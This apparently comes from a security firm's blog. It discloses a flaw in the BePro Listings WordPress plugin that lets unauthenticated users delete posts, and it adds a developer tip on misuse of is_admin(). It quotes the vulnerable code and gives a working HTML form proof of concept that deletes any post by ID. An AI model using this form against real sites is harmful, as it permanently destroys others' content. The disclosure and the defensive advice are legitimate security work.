03 Jun

Post Deletion Vulnerability in BePro Listings

As was mentioned in more details on the post on the other vulnerability we found in the plugin BePro Listing, we recently had a request for a file from the plugin, which indicated that someone might be trying to exploit something in this plugin. While that arbitrary file upload vulnerability is probably what hackers are looking to exploit. The plugin also has a vulnerability that allows anyone to delete posts from a website with this plugin enabled.

The plugin has an AJAX accessible function bepro_ajax_delete_post(), which accessible whether or not someone is logged in to WordPress:

734
735
add_action( 'wp_ajax_bepro_ajax_delete_post', 'bepro_ajax_delete_post' );
add_action( 'wp_ajax_nopriv_bepro_ajax_delete_post', 'bepro_ajax_delete_post' );

The contents of the function are as follows:

733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
//On delete post, also delete the listing from the database and all attachments
function bepro_ajax_delete_post(){
	if(!is_numeric($_POST["post_id"])) exit;
	global $wpdb;
	$post_id = $_POST["post_id"];
	$user_data = wp_get_current_user();
	$post_data = get_post($post_id);
	if(is_admin() || ($post_data->post_author == $user_data->ID)){
		$ans = wp_delete_post( $post_id, true );
		if($ans){$message["status"] = __("Deleted Successfully!","bepro-listings");
		}else{$message["status"] = __("Problem Deleting Listing","bepro-listings");
		}
	}else{
		$message["status"] = __("Problem Deleting Listing","bepro-listings");
	}
	echo json_encode($message);
	exit;
}

The only check done before allowing anyone to deleting a post is this:

740
if(is_admin() || ($post_data->post_author == $user_data->ID)){

If you follow our blog you might have already spotted this issue with this, since in one of our security tips for plugin developers we discussed the fact that the function is_admin() doesn’t check if someone is an Administrator level user. And more importantly in this case, the function will “return true when trying to make an ajax request (both front-end and back-end requests)“.  Since the function is an AJAX request that check will always return true, leading to the post be deleted.

Making the situation worse, the post will not be placed in the Trash when deleting it this way.

Proof of Concept

Make sure to replace “[path to WordPress]” with the location of WordPress and “[post ID]” with the ID of the post you are trying to delete.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin-ajax.php"; method="POST">
<input type="hidden" name="action" value="bepro_ajax_delete_post" />
<input type="hidden" name="post_id" value="[post ID]" />
<input type="submit" value="Submit" />
</form>
</body>
</html>

Timeline

  • 6/2/2016 – Developer notified.
  • 6/3/2015 – WordPress.org Plugin Directory notified.
  • 6/3/2015 – Plugin removed from the Plugin Directory.
  • 7/6/2016 – Version 2.2.0023 released, which fixes vulnerability.
13 May

Security Tip for Developers: The is_admin() Function Doesn’t Tell You If Someone is an Administrator

One reoccurring cause of security issues in WordPress plugins is the misuse of the function is_admin(). Based on its name you might reasonably assume that it checks if someone is Administrator level user in WordPress and that seems to have tripped up lots of plugin developers. In reality it just “checks if the Dashboard or the administration panel is attempting to be displayed”. It will also “return true when trying to make an ajax request (both front-end and back-end requests)”.

How to Actually Check if Someone is an Administrator

If you need to check is someone is an Administrator you have several options.

One option is to use the function is_super_admin(), which will:

Determine if user is a network (super) admin. Will also check if user is admin if network mode is disabled.

You can also use the function current_user_can(), which can used to check the role of the user:

current_user_can('administrator')

or you can check if user has a capability, usually a check for the manage_options capability is used:

current_user_can('manage_options')

Checking a capability has the advantage that it will still work even if someone is using a non-standard roles in their WordPress installation.